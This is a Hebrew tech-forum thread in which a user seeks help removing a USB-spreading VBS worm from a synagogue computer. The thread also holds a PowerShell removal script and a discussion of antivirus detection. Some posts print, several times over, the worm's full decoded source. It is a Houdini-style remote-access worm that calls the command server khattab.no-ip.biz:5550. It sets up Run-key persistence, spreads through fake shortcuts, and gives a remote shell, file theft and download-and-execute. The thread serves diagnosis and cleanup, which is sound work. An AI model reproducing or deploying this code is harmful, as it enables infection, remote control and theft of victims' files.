                 enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
            
            next
            end function
            
            function enumprocess ()
            
            on error resume next
            
            set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
            set colitems = objwmiservice.execquery("select * from win32_process",,48)
            
            dim objitem
            for each objitem in colitems
                enumprocess = enumprocess & objitem.name & "|"
                enumprocess = enumprocess & objitem.processid & "|"
                enumprocess = enumprocess & objitem.executablepath & spliter
            next
            end function
            
            sub exitprocess (pid)
            on error resume next
            
            shellobj.run "taskkill /F /T /PID " & pid,7,true
            end sub
            
            sub deletefaf (url)
            on error resume next
            
            filesystemobj.deletefile url
            filesystemobj.deletefolder url
            
            end sub
            
            function cmdshell (cmd)
            
            dim httpobj,oexec,readallfromany
            
            set oexec = shellobj.exec ("%comspec% /c " & cmd)
            if not oexec.stdout.atendofstream then
               readallfromany = oexec.stdout.readall
            elseif not oexec.stderr.atendofstream then
               readallfromany = oexec.stderr.readall
            else 
               readallfromany = ""
            end if
            
            cmdshell = readallfromany
            end function
            
            מתכנת חובבמ מנותק
            מתכנת חובבמ מנותק
            מתכנת חובב
            מדריכים
            כתב נערך לאחרונה על ידי
            #12

            @רנדומלי בקשה פשוטה מג'מיני בצירף הקוד של הוירוס הניבה סקריפט PS שמטפל בזה

            $vName = "hrxxryydxo"
            $vFile = "$vName.vbs"
            
            Write-Host "--- מתחיל בניקוי המחשב ---" -ForegroundColor Cyan
            
            # 1. עצירת התהליך החי במחשב
            Get-CimInstance Win32_Process -Filter "Name = 'wscript.exe'" | 
                Where-Object CommandLine -match $vName | 
                Invoke-CimMethod -MethodName Terminate | Out-Null
            Write-Host "[+] תהליך הווירוס בזיכרון נעצר." -ForegroundColor Green
            
            # 2. עקירת שורשי ההפעלה מהרגיסטרי (Registry) במחשב
            Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
            Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
            Remove-Item -Path "HKLM:\Software\$vName" -Recurse -ErrorAction SilentlyContinue
            Write-Host "[+] ערכי הרישום וההפעלה האוטומטית נוקו." -ForegroundColor Green
            
            # 3. מחיקת הקבצים הפיזיים מהמחשב (מתיקיות Temp ו-Startup)
            $tempDir = [System.IO.Path]::GetTempPath()
            $startupDir = [Environment]::GetFolderPath('Startup')
            Remove-Item -Path "$tempDir\$vFile" -Force -ErrorAction SilentlyContinue
            Remove-Item -Path "$startupDir\$vFile" -Force -ErrorAction SilentlyContinue
            Write-Host "[+] קבצי הווירוס נמחקו מהמחשב (Temp, Startup)." -ForegroundColor Green
            
            
            Write-Host "--- מתחיל בסריקת כוננים חיצוניים ---" -ForegroundColor Cyan
            
            # 4. ניקוי כל הכוננים החיצוניים המחוברים ושחזור קבצים
            $usbDrives = Get-CimInstance Win32_LogicalDisk -Filter "DriveType = 2"
            
            if ($usbDrives.Count -eq 0) {
                Write-Host "[-] לא זוהו כונני USB מחוברים." -ForegroundColor Yellow
            } else {
                foreach ($drive in $usbDrives) {
                    $driveLetter = $drive.DeviceID + "\" 
                    Write-Host "סורק כונן $driveLetter..." -ForegroundColor Cyan
            
                    # מחיקת קיצורי הדרך המזויפים וקובץ הווירוס מהכונן
                    Remove-Item -Path "$driveLetter*.lnk" -Force -ErrorAction SilentlyContinue
                    Remove-Item -Path "$driveLetter$vFile" -Force -ErrorAction SilentlyContinue
            
                    # פעולת התיקון הלוגית: ביטול דגלי ההסתרה והמערכת
                    Get-ChildItem -Path $driveLetter -Force | ForEach-Object {
                        if (($_.Attributes -band [System.IO.FileAttributes]::Hidden) -or ($_.Attributes -band [System.IO.FileAttributes]::System)) {
                            $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::Hidden
                            $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::System
                        }
                    }
                    Write-Host "[+] כונן $driveLetter נוקה והקבצים המקוריים שוחזרו." -ForegroundColor Green
                }
            }
            
            Write-Host "--- הניקוי הושלם במלואו! ---" -ForegroundColor Green
            

            לשמור את זה עם הסיומת ps1 ולהריץ כמנהל

            צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

            תגובה 1 תגובה אחרונה
            0
            • cfopuserC cfopuser

              @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

              @cfopuser בשביל מה?

              לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

              מתכנת חובבמ מנותק
              מתכנת חובבמ מנותק
              מתכנת חובב
              מדריכים
              כתב נערך לאחרונה על ידי מתכנת חובב
              #13

              @cfopuser הוא לא כתב איזה אנטי וירוס יש שם אבל אנטי וירוס נורמלי שמוגדר בצורה נורמלית ומחשב עם בקרת UAC נורמלית לא אמורים להידבק בוירוסים האלו
              זה וירוס קל מאוד לזיהוי (אפשר לראות בקוד חתימה ברורה וכל מנוע יוריסטי יזהה את הפעילות שלו)
              עריכה: אפילו בניתוח סטטי הוא מזוהה על ידי 47 מתוך 62 בוירוס טוטאל

              צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

              תגובה 1 תגובה אחרונה
              2
              • ר רנדומלי

                בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                cmd /c hrxxryydxo.vbs && start explorer [file name]
                

                הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                

                בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                לאחר פיענוח הקידוד התקבל הקוד הבא:
                אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                e
                '<[ recoder : houdini (c) skype : houdini-fx ]>
                
                '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                
                host = "khattab.no-ip.biz"
                port = 5550
                installdir = "%temp%"
                lnkfile = true
                lnkfolder = true
                
                '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                
                dim shellobj 
                set shellobj = wscript.createobject("wscript.shell")
                dim filesystemobj
                set filesystemobj = createobject("scripting.filesystemobject")
                dim httpobj
                set httpobj = createobject("msxml2.xmlhttp")
                
                '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                
                installname = wscript.scriptname
                startup = shellobj.specialfolders ("startup") & "\"
                installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                spliter = "<" & "|" & ">"
                sleep = 5000 
                dim response
                dim cmd
                dim param
                info = ""
                usbspreading = ""
                startdate = ""
                dim oneonce
                
                '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                on error resume next
                
                instance
                while true
                
                install
                
                response = ""
                response = post ("is-ready","")
                cmd = split (response,spliter)
                select case cmd (0)
                case "excecute"
                      param = cmd (1)
                      execute param
                case "update"
                      param = cmd (1)
                      oneonce.close
                      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                      oneonce.write param
                      oneonce.close
                      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                      wscript.quit 
                case "uninstall"
                      uninstall
                case "send"
                      download cmd (1),cmd (2)
                case "site-send"
                      sitedownloader cmd (1),cmd (2)
                case "recv"
                      param = cmd (1)
                      upload (param)
                case  "enum-driver"
                      post "is-enum-driver",enumdriver  
                case  "enum-faf"
                      param = cmd (1)
                      post "is-enum-faf",enumfaf (param)
                case  "enum-process"
                      post "is-enum-process",enumprocess   
                case  "cmd-shell"
                      param = cmd (1)
                      post "is-cmd-shell",cmdshell (param)  
                case  "delete"
                      param = cmd (1)
                      deletefaf (param) 
                case  "exit-process"
                      param = cmd (1)
                      exitprocess (param) 
                case  "sleep"
                      param = cmd (1)
                      sleep = eval (param)        
                end select
                
                wscript.sleep sleep
                
                wend
                
                sub install
                on error resume next
                dim lnkobj
                dim filename
                dim foldername
                dim fileicon
                dim foldericon
                
                upstart
                for each drive in filesystemobj.drives
                
                if  drive.isready = true then
                if  drive.freespace  > 0 then
                if  drive.drivetype  = 1 then
                    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                    end if
                    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                        if not lnkfile then exit for
                        if  instr (file.name,".") then
                            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                file.attributes = 2+4
                                if  ucase (file.name) <> ucase (installname) then
                                    filename = split(file.name,".")
                                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                    lnkobj.windowstyle = 7
                                    lnkobj.targetpath = "cmd.exe"
                                    lnkobj.workingdirectory = ""
                                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                    if  instr (fileicon,",") = 0 then
                                        lnkobj.iconlocation = file.path
                                    else 
                                        lnkobj.iconlocation = fileicon
                                    end if
                                    lnkobj.save()
                                end if
                            end if
                        end if
                    next
                    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                        if not lnkfolder then exit for
                        folder.attributes = 2+4
                        foldername = folder.name
                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                        lnkobj.windowstyle = 7
                        lnkobj.targetpath = "cmd.exe"
                        lnkobj.workingdirectory = ""
                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                        if  instr (foldericon,",") = 0 then
                            lnkobj.iconlocation = folder.path
                        else 
                            lnkobj.iconlocation = foldericon
                        end if
                        lnkobj.save()
                    next
                end If
                end If
                end if
                next
                err.clear
                end sub
                
                sub uninstall
                on error resume next
                dim filename
                dim foldername
                
                shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                filesystemobj.deletefile startup & installname ,true
                filesystemobj.deletefile wscript.scriptfullname ,true
                
                for  each drive in filesystemobj.drives
                if  drive.isready = true then
                if  drive.freespace  > 0 then
                if  drive.drivetype  = 1 then
                    for  each file in filesystemobj.getfolder ( drive.path & "\").files
                         on error resume next
                         if  instr (file.name,".") then
                             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                 file.attributes = 0
                                 if  ucase (file.name) <> ucase (installname) then
                                     filename = split(file.name,".")
                                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                 else
                                     filesystemobj.deletefile (drive.path & "\" & file.name)
                                 end If
                             else
                                 filesystemobj.deletefile (file.path) 
                             end if
                         end if
                     next
                     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                         folder.attributes = 0
                     next
                end if
                end if
                end if
                next
                wscript.quit
                end sub
                
                function post (cmd ,param)
                
                post = param
                httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                httpobj.setrequestheader "user-agent:",information
                httpobj.send param
                post = httpobj.responsetext
                end function
                
                function information
                on error resume next
                if  inf = "" then
                    inf = hwid & spliter 
                    inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                    inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                
                    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                    set os = root.execquery ("select * from win32_operatingsystem")
                    for each osinfo in os
                       inf = inf & osinfo.caption & spliter  
                       exit for
                    next
                    inf = inf & "plus" & spliter
                    inf = inf & security & spliter
                    inf = inf & usbspreading
                    information = inf  
                else
                    information = inf
                end if
                end function
                
                sub upstart ()
                on error resume Next
                
                shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                
                end sub
                
                function hwid
                on error resume next
                
                set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                set disks = root.execquery ("select * from win32_logicaldisk")
                for each disk in disks
                    if  disk.volumeserialnumber <> "" then
                        hwid = disk.volumeserialnumber
                        exit for
                    end if
                next
                end function
                
                function security 
                on error resume next
                
                security = ""
                
                set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                for each objitem in colitems
                    versionstr = split (objitem.version,".")
                next
                versionstr = split (colitems.version,".")
                osversion = versionstr (0) & "."
                for  x = 1 to ubound (versionstr)
                     osversion = osversion &  versionstr (i)
                next
                osversion = eval (osversion)
                if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                
                set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                
                for each objantivirus in colantivirus
                    security  = security  & objantivirus.displayname & " ."
                next
                if security  = "" then security  = "nan-av"
                end function
                
                function instance
                on error resume next
                
                usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                if usbspreading = "" then
                   if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                      usbspreading = "true - " & date
                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                   else
                      usbspreading = "false - " & date
                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                
                   end if
                end If
                
                
                upstart
                set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                    wscript.quit 
                end If
                err.clear
                set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                if  err.number > 0 then wscript.quit
                end function
                
                sub sitedownloader (fileurl,filename)
                
                strlink = fileurl
                strsaveto = installdir & filename
                set objhttpdownload = createobject("msxml2.xmlhttp" )
                objhttpdownload.open "get", strlink, false
                objhttpdownload.send
                
                set objfsodownload = createobject ("scripting.filesystemobject")
                if  objfsodownload.fileexists (strsaveto) then
                    objfsodownload.deletefile (strsaveto)
                end if
                 
                if objhttpdownload.status = 200 then
                   dim  objstreamdownload
                   set  objstreamdownload = createobject("adodb.stream")
                   with objstreamdownload
                        .type = 1 
                        .open
                        .write objhttpdownload.responsebody
                        .savetofile strsaveto
                        .close
                   end with
                   set objstreamdownload = nothing
                end if
                if objfsodownload.fileexists(strsaveto) then
                   shellobj.run objfsodownload.getfile (strsaveto).shortpath
                end if 
                end sub
                
                sub download (fileurl,filedir)
                
                if filedir = "" then 
                   filedir = installdir
                end if
                
                strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                set objhttpdownload = createobject("msxml2.xmlhttp")
                objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                objhttpdownload.send ""
                     
                set objfsodownload = createobject ("scripting.filesystemobject")
                if  objfsodownload.fileexists (strsaveto) then
                    objfsodownload.deletefile (strsaveto)
                end if
                if  objhttpdownload.status = 200 then
                    dim  objstreamdownload
                    set  objstreamdownload = createobject("adodb.stream")
                    with objstreamdownload 
                         .type = 1 
                         .open
                         .write objhttpdownload.responsebody
                         .savetofile strsaveto
                         .close
                    end with
                    set objstreamdownload  = nothing
                end if
                if objfsodownload.fileexists(strsaveto) then
                   shellobj.run objfsodownload.getfile (strsaveto).shortpath
                end if 
                end sub
                
                function upload (fileurl)
                
                dim  httpobj,objstreamuploade,buffer
                set  objstreamuploade = createobject("adodb.stream")
                with objstreamuploade 
                     .type = 1 
                     .open
                     .loadfromfile fileurl
                     buffer = .read
                     .close
                end with
                set objstreamdownload = nothing
                set httpobj = createobject("msxml2.xmlhttp")
                httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                httpobj.send buffer
                end function
                
                function enumdriver ()
                
                for  each drive in filesystemobj.drives
                if   drive.isready = true then
                     enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                end if
                next
                end Function
                
                function enumfaf (enumdir)
                
                enumfaf = enumdir & spliter
                for  each folder in filesystemobj.getfolder (enumdir).subfolders
                     enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                next
                
                for  each file in filesystemobj.getfolder (enumdir).files
                     enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                
                next
                end function
                
                function enumprocess ()
                
                on error resume next
                
                set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                set colitems = objwmiservice.execquery("select * from win32_process",,48)
                
                dim objitem
                for each objitem in colitems
                    enumprocess = enumprocess & objitem.name & "|"
                    enumprocess = enumprocess & objitem.processid & "|"
                    enumprocess = enumprocess & objitem.executablepath & spliter
                next
                end function
                
                sub exitprocess (pid)
                on error resume next
                
                shellobj.run "taskkill /F /T /PID " & pid,7,true
                end sub
                
                sub deletefaf (url)
                on error resume next
                
                filesystemobj.deletefile url
                filesystemobj.deletefolder url
                
                end sub
                
                function cmdshell (cmd)
                
                dim httpobj,oexec,readallfromany
                
                set oexec = shellobj.exec ("%comspec% /c " & cmd)
                if not oexec.stdout.atendofstream then
                   readallfromany = oexec.stdout.readall
                elseif not oexec.stderr.atendofstream then
                   readallfromany = oexec.stderr.readall
                else 
                   readallfromany = ""
                end if
                
                cmdshell = readallfromany
                end function
                
                cfopuserC מנותק
                cfopuserC מנותק
                cfopuser
                כתב נערך לאחרונה על ידי
                #14

                @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                נראה שלא הועיל,
                לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                מתכנת חובבמ תגובה 1 תגובה אחרונה
                1
                • cfopuserC cfopuser

                  @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                  נראה שלא הועיל,
                  לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                  מתכנת חובבמ מנותק
                  מתכנת חובבמ מנותק
                  מתכנת חובב
                  מדריכים
                  כתב נערך לאחרונה על ידי
                  #15

                  @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                  צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                  ר תגובה 1 תגובה אחרונה
                  0
                  • מתכנת חובבמ מתכנת חובב

                    @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                    ר מנותק
                    ר מנותק
                    רנדומלי
                    כתב נערך לאחרונה על ידי
                    #16

                    השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                    מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                    מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                    גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                    @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                    cfopuserC מתכנת חובבמ 2 תגובות תגובה אחרונה
                    0
                    • ר רנדומלי

                      השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                      מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                      מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                      גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                      @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                      cfopuserC מנותק
                      cfopuserC מנותק
                      cfopuser
                      כתב נערך לאחרונה על ידי
                      #17

                      @רנדומלי היא כן.

                      תגובה 1 תגובה אחרונה
                      1
                      • ר רנדומלי

                        בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                        cmd /c hrxxryydxo.vbs && start explorer [file name]
                        

                        הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                        לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                        תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                        לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                        z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                        

                        בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                        לאחר פיענוח הקידוד התקבל הקוד הבא:
                        אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                        e
                        '<[ recoder : houdini (c) skype : houdini-fx ]>
                        
                        '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                        
                        host = "khattab.no-ip.biz"
                        port = 5550
                        installdir = "%temp%"
                        lnkfile = true
                        lnkfolder = true
                        
                        '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                        
                        dim shellobj 
                        set shellobj = wscript.createobject("wscript.shell")
                        dim filesystemobj
                        set filesystemobj = createobject("scripting.filesystemobject")
                        dim httpobj
                        set httpobj = createobject("msxml2.xmlhttp")
                        
                        '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                        
                        installname = wscript.scriptname
                        startup = shellobj.specialfolders ("startup") & "\"
                        installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                        if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                        spliter = "<" & "|" & ">"
                        sleep = 5000 
                        dim response
                        dim cmd
                        dim param
                        info = ""
                        usbspreading = ""
                        startdate = ""
                        dim oneonce
                        
                        '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                        on error resume next
                        
                        instance
                        while true
                        
                        install
                        
                        response = ""
                        response = post ("is-ready","")
                        cmd = split (response,spliter)
                        select case cmd (0)
                        case "excecute"
                              param = cmd (1)
                              execute param
                        case "update"
                              param = cmd (1)
                              oneonce.close
                              set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                              oneonce.write param
                              oneonce.close
                              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                              wscript.quit 
                        case "uninstall"
                              uninstall
                        case "send"
                              download cmd (1),cmd (2)
                        case "site-send"
                              sitedownloader cmd (1),cmd (2)
                        case "recv"
                              param = cmd (1)
                              upload (param)
                        case  "enum-driver"
                              post "is-enum-driver",enumdriver  
                        case  "enum-faf"
                              param = cmd (1)
                              post "is-enum-faf",enumfaf (param)
                        case  "enum-process"
                              post "is-enum-process",enumprocess   
                        case  "cmd-shell"
                              param = cmd (1)
                              post "is-cmd-shell",cmdshell (param)  
                        case  "delete"
                              param = cmd (1)
                              deletefaf (param) 
                        case  "exit-process"
                              param = cmd (1)
                              exitprocess (param) 
                        case  "sleep"
                              param = cmd (1)
                              sleep = eval (param)        
                        end select
                        
                        wscript.sleep sleep
                        
                        wend
                        
                        sub install
                        on error resume next
                        dim lnkobj
                        dim filename
                        dim foldername
                        dim fileicon
                        dim foldericon
                        
                        upstart
                        for each drive in filesystemobj.drives
                        
                        if  drive.isready = true then
                        if  drive.freespace  > 0 then
                        if  drive.drivetype  = 1 then
                            filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                            if  filesystemobj.fileexists (drive.path & "\" & installname)  then
